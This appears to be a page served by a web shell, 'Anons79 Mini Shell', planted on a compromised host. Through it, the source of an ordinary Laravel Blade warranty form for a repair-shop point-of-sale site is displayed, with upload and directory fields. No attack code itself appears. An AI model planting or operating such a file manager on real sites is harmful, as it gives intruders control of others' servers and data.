Anons79 Mini Shell

Directory : /home/aplikasiposinfo/public_html/demo2.fixmate.id/resources/views/service/
Upload File :
Current File : /home/aplikasiposinfo/public_html/demo2.fixmate.id/resources/views/service/form_garansi.blade.php

 @push('scripts')
     <!-- Input Mask Plugin Js -->
     <script src="https://unpkg.com/autonumeric"></script>
     @include('service.script');
     <script>
         $(document).ready(function() {
             $(document).on('keyup', '.bs-searchbox input', function(e) {
                 var searchData = e.target.value;


                 $.ajax({
                     type: 'GET',
                     url: 'https://alamat.thecloudalert.com/api/cari/index/?keyword=' + searchData,
                     success: function(data) {
                         // $('.kecamatan-wrapper select #kecamatan_pelanggan').empty();
                         var uniqueKecamatan = [];
                         var uniqueKabkota = [];
                         var uniqueProvinsi = [];

                         for (var i = 0; i < data.result.length; i++) {
                             var kecamatan = data.result[i].kecamatan;
                             var kabkota = data.result[i].kabkota;
                             var provinsi = data.result[i].provinsi;


                             if (uniqueKecamatan.indexOf(kecamatan) === -1) {
                                 uniqueKecamatan.push(kecamatan);
                                 uniqueProvinsi.push(provinsi);
                                 uniqueKabkota.push(kabkota);

                             }
                         }

                         $('#kecamatan_pelanggan').empty();
                         for (var j = 0; j < uniqueKecamatan.length; j++) {
                             $('#kecamatan_pelanggan').append('<option value="' +
                                 uniqueKecamatan[
                                     j] + '">' + uniqueProvinsi[j] + ' , ' + uniqueKabkota[
                                     j] + ' , ' + uniqueKecamatan[j] + '</option>');
                         }

                         $('#kecamatan_pelanggan').selectpicker('refresh');


                     },
                     error: function(error) {

                         console.log(error);
                     }
                 });
             });

         });
     </script>
 @endpush
 @push('scripts')
     <!-- Input Mask Plugin Js -->
     <script src="https://unpkg.com/autonumeric"></script>
     <script>
         const tableSparepart = document.getElementById('table-sparepart');
         const tableSparepartShow = document.getElementById('table-sparepart-list');
         const tableDetail = document.getElementById('table-detail-item');
         const itemDeleteButton = document.querySelectorAll(".item-delete");
         const itemQtyInput = document.querySelectorAll(".qty");
         const pencarian = document.getElementById('cari');
         let itemId = document.querySelectorAll(".item_id");

         // console.log(itemId);

         const numberFormat = new Intl.NumberFormat({
             style: 'currency'
         });

         let itemIdArray = [];

         function loadList() {
             const nilaiPencarian = pencarian.value;
             fetch("{{ route('get-item') }}?cari=" + nilaiPencarian, {
                     method: "GET"
                 })
                 .then(
                     (response) => {
                         return response.json();
                     }
                 )
                 .then((data) => {
                     const rowCount = tableSparepart.querySelector('tbody');

                     while (rowCount.firstChild) {
                         rowCount.removeChild(rowCount.firstChild);
                     }

                     let items = data;

                     items.data.forEach(item => {
                         let namaSparepartText = document.createTextNode(item.nama_item);
                         let hargaJualText = document.createTextNode(numberFormat.format(item
                             .harga_item));
                         let hargaBeliText = document.createTextNode(numberFormat.format(item
                             .biaya_item));
                         //  let stokText = document.createTextNode(item.stok);
                         let stok_tokos = item.stok_item_tokos.filter(toko => toko.toko_id == document
                             .getElementById("toko_id").value);
                         var itemStok = item.stok_item_tokos.length > 0 ? stok_tokos.reduce((sum, toko) => sum +
                             toko.stok, 0) : item.stok;
                         let stokText = document.createTextNode(itemStok);

                         let pilihButtonText = document.createTextNode(`Pilih`);

                         let pilihButton = document.createElement("button");
                         pilihButton.classList.add('btn', 'btn-primary', 'item-add');
                         // pilihButton.setAttribute('data-id', item.id);
                         pilihButton.setAttribute('type', "button");
                         pilihButton.dataset.id = item.id;
                         pilihButton.appendChild(pilihButtonText);

                         let jumlahInput = document.createElement("input");
                         jumlahInput.setAttribute('type', "number");
                         jumlahInput.setAttribute('value', 0);
                         jumlahInput.setAttribute('max', itemStok);
                         jumlahInput.setAttribute('min', 0);
                         jumlahInput.classList.add('form-control', 'jumlah-input');

                         if (itemStok == null || itemStok <= 0) {
                             jumlahInput.setAttribute('disabled', true);
                             jumlahInput.setAttribute('title', "Stok Habis!")
                             pilihButton.setAttribute('disabled', true);
                             pilihButton.setAttribute('title', "Stok Habis!")
                         }




                         let row = tableSparepart.querySelector("tbody").insertRow(-1);
                         let namaSparepart = row.insertCell(0);
                         let hargaBeli = row.insertCell(1);
                         let hargaJual = row.insertCell(2);
                         let stok = row.insertCell(3);
                         let jumlah = row.insertCell(4);
                         let pilih = row.insertCell(5);

                         namaSparepart.setAttribute('style', 'max-width: 100px;')


                         namaSparepart.appendChild(namaSparepartText);
                         hargaJual.appendChild(hargaJualText);
                         hargaBeli.appendChild(hargaBeliText);
                         stok.appendChild(stokText);
                         jumlah.appendChild(jumlahInput);
                         pilih.appendChild(pilihButton);

                         addEventPilih(pilihButton);
                     });
                 });

         }
         tableSparepartShow.addEventListener("click", function() {
             loadList();
             pencarian.addEventListener('input', function() {
                 // Mengambil nilai input pencarian

                 loadList();

             });


         });


         function addEventPilih(element) {
             element.addEventListener('click', function(event) {

                 let jumlah = this.parentElement.parentElement.childNodes[4];

                 let jumlahValue = jumlah.querySelector(".jumlah-input").value;

                 fetch("{{ route('get-item') }}?search=" + this.dataset.id, {
                         method: "GET"
                     })
                     .then(
                         (response) => {
                             return response.json();
                         }
                     )
                     .then((data) => {

                         let items = data;
                         items.data.forEach(item => {
                             if (jumlahValue > 0) {
                                 addDetailBarangRow();
                             }

                             function addDetailBarangRow() {
                                 //new text element
                                 let namaSparepartText = document.createTextNode(item.nama_item);
                                 let hargaJualText = document.createTextNode(numberFormat.format(item
                                     .harga_item));
                                 let hargaBeliText = document.createTextNode(numberFormat.format(item
                                     .biaya_item));
                                 let jumlahText = document.createTextNode(jumlahValue);
                                 let subTotalText = document.createTextNode(numberFormat.format(item
                                     .harga_item * jumlahValue));
                                 let hapusButtonText = document.createTextNode("X");

                                 let hapusButton = document.createElement("button");
                                 hapusButton.classList.add("btn", "btn-danger", "item-delete");
                                 hapusButton.appendChild(hapusButtonText);
                                 hapusButton.setAttribute('type', "button");

                                 //hidden input for form request
                                 let jumlahInput = document.createElement("input");
                                 jumlahInput.classList.add("qty");
                                 jumlahInput.setAttribute('name', "jumlah[]");
                                 jumlahInput.setAttribute('type', "number");
                                 jumlahInput.setAttribute('min', 0);
                                 jumlahInput.setAttribute('value', jumlahValue);
                                 // jumlahInput.setAttribute('hidden', true);

                                 //hidden input for form request
                                 let idInput = document.createElement("input");
                                 idInput.setAttribute('name', "id[]");
                                 idInput.classList.add("item_id");
                                 idInput.setAttribute('type', "text");
                                 idInput.setAttribute('value', item.id);
                                 idInput.setAttribute('hidden', true);

                                 let hargaInput = document.createElement("input");
                                 hargaInput.setAttribute('name', "harga[]");
                                 hargaInput.classList.add("harga");
                                 hargaInput.setAttribute('type', "number");
                                 hargaInput.setAttribute('value', item.harga_item);
                                 hargaInput.setAttribute('hidden', true);

                                 let row = tableDetail.querySelector("tbody").insertRow(-1);
                                 let namaSparepart = row.insertCell(0);
                                 let jumlah = row.insertCell(1);
                                 let hargaJual = row.insertCell(2);
                                 let subTotal = row.insertCell(3);
                                 subTotal.classList.add("subTotal");
                                 let hapus = row.insertCell(4);

                                 namaSparepart.appendChild(namaSparepartText);
                                 hargaJual.appendChild(hargaJualText);
                                 subTotal.appendChild(subTotalText);
                                 // jumlah.appendChild(jumlahText);
                                 jumlah.appendChild(jumlahInput);
                                 jumlah.appendChild(idInput);
                                 jumlah.appendChild(hargaInput);
                                 hapus.appendChild(hapusButton);

                                 let detail = [item.id, jumlahValue];

                                 addEventHapus(hapusButton);
                                 addEventQty(jumlahInput);
                                 countGrandTotal();
                             }
                         });
                     });


             })
         }

         function addEventHapus(element) {
             element.addEventListener("click", function(event) {
                 this.parentElement.parentElement.remove();
                 countGrandTotal();
             });
         }

         function addEventQty(e) {
             countSubTotal(e);
         }

         itemDeleteButton.forEach((e) => {
             e.addEventListener("click", function(event) {
                 this.parentElement.parentElement.remove();
                 countGrandTotal();
             });
         });

         itemQtyInput.forEach((e) => {
             countSubTotal(e);
         });

         function countSubTotal(e) {
             e.addEventListener("input", function(event) {
                 let qty = this.parentElement.parentElement.children[1].children[0];
                 let hargaItem = this.parentElement.parentElement.children[2];
                 let subTotalElement = this.parentElement.parentElement.children[3];

                 const harga = this.parentElement.parentElement.children[1].children[2];

                 let hargaDiskon = Math.max(parseFloat(harga.value));

                 // hargaItem.textContent = hargaDiskon;

                 let subtotal = hargaDiskon * qty.value;

                 subTotalElement.textContent = numberFormat.format(subtotal);

                 countGrandTotal();
             });
         }

         function countGrandTotal() {
             let subTotal = document.querySelectorAll(".subTotal");
             let grandTotal = document.querySelector("#grandTotal");
             let grandTotalValue = 0;
             subTotal.forEach((element) => {
                 subTotalValue1 = element.textContent.replaceAll(",", "");
                 subTotalValue = parseFloat(subTotalValue1.replaceAll(".", ""));
                 grandTotalValue += subTotalValue;
             });

             grandTotal.textContent = numberFormat.format(grandTotalValue);
         }

         countGrandTotal();
     </script>
 @endpush

 @push('styles')
     <style>
         .image-upload {
             width: 200px;
             height: 200px;
             background-color: gainsboro;
             display: block;
             margin: auto;
             background-size: contain;
         }

         .image-upload>input {
             display: none;
         }

         .pilih-bentuk svg {
             width: 100px;
             height: 100px;
             display: block;
             margin: auto;
         }

         .pilih-bentuk i {
             font-size: 100px;
             color: grey;
             position: absolute;
             left: 0%;
             top: 0%;
             right: 0%;
             bottom: 0%;
         }

         .qty {
             width: 55px;
         }
     </style>
 @endpush

 <div class="row clearfix">
     <!-- Task Info -->
     <div class="col-xs-12 col-sm-12 col-md-12">
         <div class="card">
             <div class="header">
                 <a href="{{ route('service.index') }}" class="btn btn-warning">Kembali</a>
             </div>
             <div class="body">

                 <div class="row clearfix">
                     <div class="col-md-3">
                         <b>No Garansi</b>
                         <div class="input-group ">
                             <div class="form-line focused">
                                 <input type="text" class="form-control" name="no_garansi"
                                     value="{{ 'GR-P-' . date('YmdHis') }}"
                                     required>
                             </div>
                             <span class="input-group-addon">
                                 <i style="background-color: rgb(0, 170, 187);"></i>
                             </span>
                         </div>
                     </div>
                     <div class="col-md-3">
                         <b>Tanggal</b>
                         <div class="input-group ">
                             <div class="form-line focused">
                                 <input type="text" class="form-control" name="tanggal" value="{{ old('tanggal',date('Y-m-d')) }}"
                                     required>
                             </div>
                             <span class="input-group-addon">
                                 <i style="background-color: rgb(0, 170, 187);"></i>
                             </span>
                         </div>
                     </div>
                     <div class="col-md-6">
                        <b>Keterangan</b>
                        <div class="input-group ">
                             <div class="form-line focused">
                                 <input type="text" name="keterangan" class="form-control" placeholder="Keterangan" {{ old('keterangan',date('Y-m-d')) }}>
                             </div>
                             <span class="input-group-addon">
                                 <i style="background-color: rgb(0, 170, 187);"></i>
                             </span>
                         </div>
                     </div>
                     
                     {{-- <div class="col-md-3">
                         <b>Kasir</b>
                         <div class="input-group ">
                             <div class="form-line focused">
                                 <input type="hidden" name="pengguna_id" value="{{ auth()->user()->id }}" required>
                                 <input type="text" class="form-control" value="{{ auth()->user()->nama_pengguna }}"
                                     required>
                             </div>
                             <span class="input-group-addon">
                                 <i style="background-color: rgba(0, 0, 0, 0.7);"></i>
                             </span>
                         </div>
                     </div> --}}
                 </div>

                 <div class="form-group">
                    <button type="submit" class="btn btn-success">Simpan</button>
                </div>

             </div>
         </div>
     </div>
     <!-- #END# Task Info -->
 </div>



 <div class="row">
    <div class="col-md-6">
        <div class="card">
            <div class="header">
                Detail Service
            </div>
            <div class="body">
                <table class="table">
                    <tbody>
                        <tr>
                            <td>
                                No Service
                            </td>
                            <td>
                                <b>{{ $service->no_service }}</b>
                            </td>
                        </tr>
                        <tr>
                            <td>
                                Tanggal
                            </td>
                            <td>
                                <b>{{ $service->tanggal }}</b>
                            </td>
                        </tr>
                        <tr>
                            <td>
                                Pelanggan
                            </td>
                            <td>
                                <b>{{ $service->pelanggan->nama_pelanggan }}</b>
                            </td>
                        </tr>
                        <tr>
                            <td>
                                Telp Pelanggan
                            </td>
                            <td>
                                <b>{{ $service->pelanggan->telp_pelanggan }}</b>
                            </td>
                        </tr>
                        <tr>
                            <td>
                                Total
                            </td>
                            <td>
                                <b>{{ number_format($service->grand_total) }}</b>
                            </td>
                        </tr>
                    </tbody>
                </table>
               
            </div>
        </div>
    </div>
 </div>

 <div class="row clearfix">
     <!-- Task Info -->
     <div class="col-xs-12 col-sm-12 col-md-12">
         <div class="card">
             <div class="header">
                 <h2>Data Barang</h2>
                 <button type="button" id="table-sparepart-list" class="btn btn-primary" data-toggle="modal"
                     data-target="#list-sparepart">Pilih Barang</button>
             </div>
             <div class="body">
                 <div class="table-responsive">
                     <table id="table-detail-item" class="table table-hover ">
                         <thead>
                             <tr>
                                 <th>Nama Barang</th>
                                 <th>Diskon</th>
                                 <th>Jumlah</th>
                                 <th>Harga Jual</th>
                                 <th>Subtotal</th>
                                 <th>Tools</th>
                             </tr>
                         </thead>
                         <tbody>
                             @if (isset($datas->detail_service))
                                 @foreach ($datas->detail_service as $d)
                                     <tr>
                                         <td>{{ $d->nama_item }}</td>
                                         <td>
                                             <input class="item-diskon" name="diskon[]" value="{{ $d->diskon }}"
                                                 step="500" min="0" type="number">
                                         </td>
                                         <td>
                                             <input class="qty" name="jumlah[]" value="{{ $d->qty }}"
                                                 min="0" type="number">
                                             <input class="item_id" name="id[]" value="{{ $d->item_id }}"
                                                 hidden>
                                             <input class="harga" name="harga[]" value="{{ $d->harga_item }}"
                                                 hidden>
                                         </td>
                                         </td>
                                         <td>{{ number_format($d->harga_item) }}</td>
                                         <td class="subTotal">{{ number_format($d->qty * $d->harga_item) }}
                                         </td>
                                         <td><button class="btn btn-danger item-delete" type="button">X</button></td>
                                     </tr>
                                 @endforeach
                             @endif
                         </tbody>
                         <tfoot>
                             <tr>
                                 <td colspan="3">
                                     <div class="text-center">
                                     </div>
                                 </td>
                                 <td>
                                     <div class="text-right">
                                         <p style="font-weight:bold;">Grand Total : </p>
                                     </div>
                                 </td>
                                 <td>
                                     <div class="text-left">
                                         <p style="font-weight:bold;" id="grandTotal">0</p>
                                     </div>
                                 </td>
                             </tr>
                         </tfoot>
                     </table>
                 </div>
             </div>
         </div>
     </div>
     <!-- #END# Task Info -->
 </div>

 <!-- Modal -->
 <div class="modal fade" id="list-sparepart" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel"
     aria-hidden="true">
     <div class="modal-dialog modal-lg" role="document">
         <div class="modal-content">
             <div class="modal-header">
                 <h5 class="modal-title" id="exampleModalLabel">Pilih Sparepart</h5>
                 <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                     <span aria-hidden="true">&times;</span>
                 </button>
             </div>
             <div class="modal-body">
                 <div class="row flex-column-reverse">
                     <div class="col-md-6"></div>
                     <div class="col-md-6">
                         <div class="input-group">
                             <span class="input-group-addon">
                                 <i class="material-icons">search</i>
                             </span>
                             <div class="form-line">
                                 <input type="text" class="form-control " id="cari" name="cari"
                                     placeholder="Search">
                             </div>
                         </div>
                     </div>
                 </div>
                 <div class="table-responsive">
                     <table id="table-sparepart" class="table table-hover ">
                         <thead>
                             <tr>
                                 <th>Nama Sparepart</th>
                                 <th>Harga Jual</th>
                                 <th>Harga Beli</th>
                                 <th>Jumlah</th>
                                 <th>Tools</th>
                             </tr>
                         </thead>
                         <tbody>
                         </tbody>
                         <tfoot>
                             <tr>
                                 <td colspan="3">
                                     <div class="text-center">
                                     </div>
                                 </td>
                             </tr>
                         </tfoot>
                     </table>
                 </div>
             </div>
             <div class="modal-footer">
                 <button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
             </div>
         </div>
     </div>
 </div>

 <div class="row">
     <div class="col-md-12">
         <hr>
     </div>
 </div>
 <div class="row" style="margin-bottom: 50px;">
     <div class="col-md-12" style="text-align: right;">
     </div>
 </div>

Anons79 File Manager Version 1.0, Coded By Anons79
Email: [email protected]